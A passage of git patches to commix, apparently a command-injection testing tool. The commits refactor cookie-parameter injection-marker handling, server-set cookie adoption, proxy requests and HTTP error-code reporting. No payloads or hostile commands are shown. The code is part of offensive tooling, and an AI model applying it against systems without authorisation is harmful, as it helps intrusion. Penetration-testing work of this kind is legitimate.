len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) # Grab the value of parameter. - value = re.findall(r'=(.*)', cookie) - value = ''.join(value) + value = multi_params_get_value(cookie) # Replace the value of parameter with INJECT tag # Check if single paramerter is supplied. if len(multi_parameters) == 1: @@ -479,14 +489,12 @@ def do_cookie_check(cookie): return cookie for param in range(0, len(all_params)): if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) + old = multi_params_get_value(all_params[param]) else : old = value # Grab the value of cookie. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) - # Ignoring the anti-CSRF parameter(s).. + value = multi_params_get_value(all_params[param]) + # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): continue # Ignoring the Google analytics cookie parameter. @@ -498,14 +506,11 @@ def do_cookie_check(cookie): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list - else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. @@ -527,9 +532,13 @@ def specify_cookie_parameter(cookie): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: inject_cookie = pairs[param].split("=")[0] + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break - else: inject_cookie = cookie diff --git a/src/utils/settings.py b/src/utils/settings.py index c569121d1f..c5caaae671 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 34cc24453c2df0487919a3ae76996536d6470ab0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 Jan 2023 08:12:06 +0200 Subject: [PATCH 267/560] Minor update --- src/core/injections/controller/checks.py | 40 +++++++++++++----------- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 24 insertions(+), 20 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e765794ac4..eaf7b021d2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -234,24 +234,28 @@ def not_declared_cookies(response): candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True - if settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) - while True: - message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" + str(candidate) + "'). " - message += "Do you want to use those [Y/n] > " - set_cookies = common.read_input(message, default="Y", check_batch=True) - if set_cookies in settings.CHOICE_YES: - menu.options.cookie = candidate - break - elif set_cookies in settings.CHOICE_NO: - settings.DECLARED_COOKIES = False - break - elif set_cookies in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(set_cookies) - pass + if menu.options.cookie: + menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate + settings.DECLARED_COOKIES = False + else: + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: + print(settings.SINGLE_WHITESPACE) + while True: + message = "You have not declared cookie(s), while " + message += "server wants to set its own ('" + str(candidate) + "'). " + message += "Do you want to use those [Y/n] > " + set_cookies = common.read_input(message, default="Y", check_batch=True) + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(set_cookies) + pass except (KeyError, TypeError): pass diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b79e87cb90..f81ce39c4e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -216,7 +216,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if menu.options.cookie == None and not menu.options.drop_set_cookie: + if not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/settings.py b/src/utils/settings.py index c5caaae671..6b3ff137b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f94b846d1575ac4710a58cb287fdf9187702f614 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 29 Jan 2023 18:52:35 +0200 Subject: [PATCH 268/560] Minor update --- src/core/requests/headers.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f81ce39c4e..1896b38a00 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -221,8 +221,12 @@ def https_open(self, req): # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: + try: + page = checks.page_encoding(err, action="encode") + except Exception as ex: + page = err.read() if settings.VERBOSITY_LEVEL != 0: - print_http_response(err.info(), err.code, err.read()) + print_http_response(err.info(), err.code, page) if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ diff --git a/src/utils/settings.py b/src/utils/settings.py index 6b3ff137b0..4b0622ef57 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2d1f1030e01fb909af04056e1ea9a84bc2b311ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 30 Jan 2023 08:30:55 +0200 Subject: [PATCH 269/560] Minor update regarding showing all HTTP error codes raised --- src/core/injections/controller/checks.py | 1 + src/core/injections/controller/controller.py | 1 + src/core/requests/headers.py | 6 ++++++ src/core/requests/requests.py | 2 +- src/utils/common.py | 10 ++++++++++ src/utils/settings.py | 4 +++- 6 files changed, 22 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index eaf7b021d2..78541dab52 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -155,6 +155,7 @@ def user_aborted(filename, url): abort_msg += " phase (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) + common.show_http_error_codes() os._exit(0) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d0308071d8..6da7669e24 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -847,6 +847,7 @@ def do_check(url, http_request_method, filename): # if not settings.MULTI_TARGETS: # print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: + common.show_http_error_codes() raise SystemExit() except KeyboardInterrupt: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1896b38a00..a67adf31e0 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -188,6 +188,11 @@ def https_open(self, req): if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + else: + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "Got " + str(err_msg) + print(settings.print_debug_msg(debug_msg)) if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break @@ -238,6 +243,7 @@ def https_open(self, req): print(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): + settings.HTTP_ERROR_CODES_SUM.append(err.code) if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: error_msg = "Non-standard HTTP status code" diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 2abf819227..388fc6fad2 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -398,7 +398,7 @@ def request_failed(err_msg): else: if len(err_msg) != 0: print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() """ Check if target host is vulnerable. (Cookie-based injection) diff --git a/src/utils/common.py b/src/utils/common.py index b318946f56..645cce5d35 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -140,6 +140,16 @@ def days_from_last_update(): warn_msg += "s"[days_from_last_update == 1:] + "!" print(settings.print_warning_msg(warn_msg)) +""" +Shows all HTTP error codes raised +""" +def show_http_error_codes(): + if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0: + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM): + debug_msg = "Too many 4xx and/or 5xx HTTP error codes " + debug_msg += "could mean that some kind of protection is involved." + print(settings.print_bold_debug_msg(debug_msg)) + """ Automatically create a Github issue with unhandled exception information. PS: Greetz @ sqlmap dev team for that great idea! :) diff --git a/src/utils/settings.py b/src/utils/settings.py index 4b0622ef57..e4b8fc73bc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1073,6 +1073,8 @@ def sys_argv_errors(): GATEWAY_TIMEOUT ] +HTTP_ERROR_CODES_SUM = [] + # End line END_LINE = ["\r", "\n", "\r\n"] From 71cba7cd1b9301b013b4db6f3221b1f4aa0b469a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 31 Jan 2023 07:41:37 +0200 Subject: [PATCH 270/560] Minor update regarding proxy option --- src/core/main.py | 6 +++--- src/core/requests/headers.py | 2 -- src/core/requests/proxy.py | 15 +++++++-------- src/core/requests/requests.py | 2 -- src/utils/crawler.py | 6 +++++- src/utils/settings.py | 2 +- 6 files changed, 16 insertions(+), 17 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index aeee1fd0e7..8f60b3eebe 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -152,9 +152,6 @@ def check_internet(url): try: request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS) headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(settings.CHECK_INTERNET_ADDRESS) examine_request(request, url) except: print(settings.SINGLE_WHITESPACE) @@ -190,6 +187,7 @@ def init_request(url): if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel request = _urllib.request.Request(url) + # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." @@ -199,6 +197,8 @@ def init_request(url): debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type debug_msg += " HTTP authentication credentials." print(settings.print_debug_msg(debug_msg)) + if menu.options.proxy: + proxy.do_check() return request """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a67adf31e0..6f7158367c 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -162,8 +162,6 @@ def https_open(self, req): settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_SUPPLIED_TAMPER try: - if menu.options.proxy: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = opener.open(request, timeout=settings.TIMEOUT) _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index a07dc0bec8..786b493313 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -19,6 +19,7 @@ from src.utils import settings from src.core.requests import headers from src.core.requests import requests +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import http_client as _http_client @@ -27,24 +28,22 @@ Use the defined HTTP Proxy """ def use_proxy(request): - headers.do_check(request) try: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except Exception as err_msg: - return requests.request_failed(err_msg) + if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: + return False + else: + return checks.connection_exceptions(err_msg, url=request) """ Check if HTTP Proxy is defined. """ -def do_check(url): +def do_check(): if settings.VERBOSITY_LEVEL != 0: info_msg = "Setting the HTTP proxy for all HTTP requests. " print(settings.print_info_msg(info_msg)) - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) - else: - request = _urllib.request.Request(url) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 388fc6fad2..b1dd6bb92e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -53,8 +53,6 @@ def estimate_response_time(url, timesec): headers.do_check(request) start = time.time() try: - if menu.options.proxy: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 478c22934a..775f515b8c 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -22,6 +22,7 @@ from src.core.injections.controller import checks from src.core.requests import headers from socket import error as SocketError +from src.core.requests import proxy from src.core.requests import redirection from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import input as _input @@ -182,7 +183,10 @@ def request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if menu.options.proxy: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if not menu.options.ignore_redirects: href = redirection.do_check(request, url) if href != url: diff --git a/src/utils/settings.py b/src/utils/settings.py index e4b8fc73bc..e559278dfe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3c8d6cdfa85c6a09137246a2c615695d83d74efa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 1 Feb 2023 08:01:21 +0200 Subject: [PATCH 271/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/71cba7cd1b9301b013b4db6f3221b1f4aa0b469a --- src/core/injections/controller/checks.py | 6 +++-- src/core/requests/proxy.py | 12 +++++---- src/core/requests/requests.py | 31 +----------------------- src/utils/crawler.py | 2 ++ src/utils/settings.py | 2 +- 5 files changed, 15 insertions(+), 38 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 78541dab52..61d4929a65 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -170,8 +170,8 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg.args[0]) except IndexError: error_msg = str(err_msg) - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) + # if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: + # print(settings.SINGLE_WHITESPACE) if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection" @@ -220,6 +220,8 @@ def connection_exceptions(err_msg, url): error_msg = error_msg + _ if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: print(settings.print_critical_msg(error_msg)) + if not settings.MULTI_TARGETS and not settings.CRAWLING: + raise SystemExit() settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 786b493313..37ce5b41ce 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -30,12 +30,14 @@ def use_proxy(request): try: request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - return False - else: + try: + if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: + return False + else: + return checks.connection_exceptions(err_msg, url=request) + except: return checks.connection_exceptions(err_msg, url=request) """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b1dd6bb92e..4c14d60905 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -245,36 +245,7 @@ def get_request_response(request): headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - if "Connection refused" in err_msg.reason: - err_msg = "The target host is not responding. " - err_msg += "Please ensure that is up and try again." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 775f515b8c..cc428ebe44 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -83,8 +83,10 @@ def normalize_results(output_href): if '=' in key and key not in seen: results.append(target) seen.add(key) + no_usable_links(results) return results elif message in settings.CHOICE_NO: + no_usable_links(output_href) return output_href elif message in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index e559278dfe..831fe707a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c55a872ae4a12387b65571478bc3439cb18fffc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 2 Feb 2023 08:44:30 +0200 Subject: [PATCH 272/560] Minor update --- src/core/injections/controller/checks.py | 12 +++++++++--- src/core/requests/headers.py | 9 ++++++--- src/utils/settings.py | 2 +- 3 files changed, 16 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 61d4929a65..37b580ddaf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -234,7 +234,12 @@ def connection_exceptions(err_msg, url): """ def not_declared_cookies(response): try: - candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) + set_cookie_headers = [] + for set_cookie_header in response.getheaders(): + if settings.SET_COOKIE in set_cookie_header: + set_cookie_headers.append(re.search(r'([^;]+);?', set_cookie_header[1]).group(1)) + + candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_headers) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if menu.options.cookie: @@ -245,8 +250,9 @@ def not_declared_cookies(response): print(settings.SINGLE_WHITESPACE) while True: message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" + str(candidate) + "'). " - message += "Do you want to use those [Y/n] > " + message += "server wants to set its own ('" + message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)) + message += "'). Do you want to use those [Y/n] > " set_cookies = common.read_input(message, default="Y", check_batch=True) if set_cookies in settings.CHOICE_YES: menu.options.cookie = candidate diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6f7158367c..c4243b47ba 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -210,6 +210,9 @@ def https_open(self, req): page = checks.page_encoding(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") + # Checks for not declared cookie(s), while server wants to set its own. + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(response) if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. @@ -218,12 +221,12 @@ def https_open(self, req): checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) - # Checks for not declared cookie(s), while server wants to set its own. - if not menu.options.drop_set_cookie: - checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: + # Checks for not declared cookie(s), while server wants to set its own. + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(err) try: page = checks.page_encoding(err, action="encode") except Exception as ex: diff --git a/src/utils/settings.py b/src/utils/settings.py index 831fe707a7..0fe93b952e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b93527d1cf212767067bfa9dfaa4216cda4c5394 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 Feb 2023 09:34:12 +0200 Subject: [PATCH 273/560] Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). --- doc/CHANGELOG.md | 1 + .../techniques/classic/cb_injector.py | 2 +- .../techniques/eval_based/eb_injector.py | 2 +- src/core/requests/proxy.py | 8 +------- src/core/requests/requests.py | 15 +++++++++------ src/utils/crawler.py | 19 +++++++++++-------- src/utils/settings.py | 2 +- 7 files changed, 25 insertions(+), 24 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a1937e8e5e..9ab42d8fee 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 01e7b3de25..14b214df45 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -96,7 +96,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if response == False: + if type(response) is bool and response != True: return False else: # Check the execution results diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 8fd3a8cd04..c9d22ba4f6 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -91,7 +91,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if response == False: + if type(response) is bool and response != True: return False else: html_data = checks.page_encoding(response, action="decode") diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 37ce5b41ce..14290cc5e4 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -32,13 +32,7 @@ def use_proxy(request): request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: - try: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - return False - else: - return checks.connection_exceptions(err_msg, url=request) - except: - return checks.connection_exceptions(err_msg, url=request) + return requests.request_failed(err_msg) """ Check if HTTP Proxy is defined. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4c14d60905..473f961280 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -40,6 +40,7 @@ """ def estimate_response_time(url, timesec): stored_auth_creds = False + _ = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " sys.stdout.write(settings.print_debug_msg(debug_msg)) @@ -56,7 +57,7 @@ def estimate_response_time(url, timesec): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() - + _ = True except _http_client.InvalidURL as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -205,9 +206,9 @@ def estimate_response_time(url, timesec): diff = end - start if int(diff) < 1: - if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False: - print(settings.SINGLE_WHITESPACE) url_time_response = int(diff) + if settings.VERBOSITY_LEVEL != 0 and _: + print(settings.SINGLE_WHITESPACE) if settings.TARGET_OS == "win": warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." @@ -344,14 +345,16 @@ def request_failed(err_msg): if settings.MULTI_TARGETS: err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) - if menu.options.auth_type and menu.options.auth_cred or settings.MULTI_TARGETS: + if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS: raise SystemExit() if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ settings.NOT_FOUND_ERROR in str(err_msg).lower(): reason = str(err_msg) + if settings.MULTI_TARGETS: - if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR: + if len(reason) != 0 and (not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(reason)] or \ + menu.options.ignore_code and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR): reason = reason + ". Skipping to the next target." print(settings.print_critical_msg(reason)) raise SystemExit() @@ -365,7 +368,7 @@ def request_failed(err_msg): settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): return True else: - if len(err_msg) != 0: + if len(err_msg) != 0 and not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index cc428ebe44..d8509ba8b5 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -76,13 +76,16 @@ def normalize_results(output_href): if message in settings.CHOICE_YES: seen = set() for target in output_href: - value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.append(target) - seen.add(key) + try: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + except TypeError: + pass no_usable_links(results) return results elif message in settings.CHOICE_NO: @@ -334,7 +337,7 @@ def crawler(url, url_num, crawling_list): link = 0 if output_href is not None: for url in output_href: - if url not in visited_hrefs: + if url not in visited_hrefs and url is not None: link += 1 settings.CRAWLED_URLS_NUM = link if 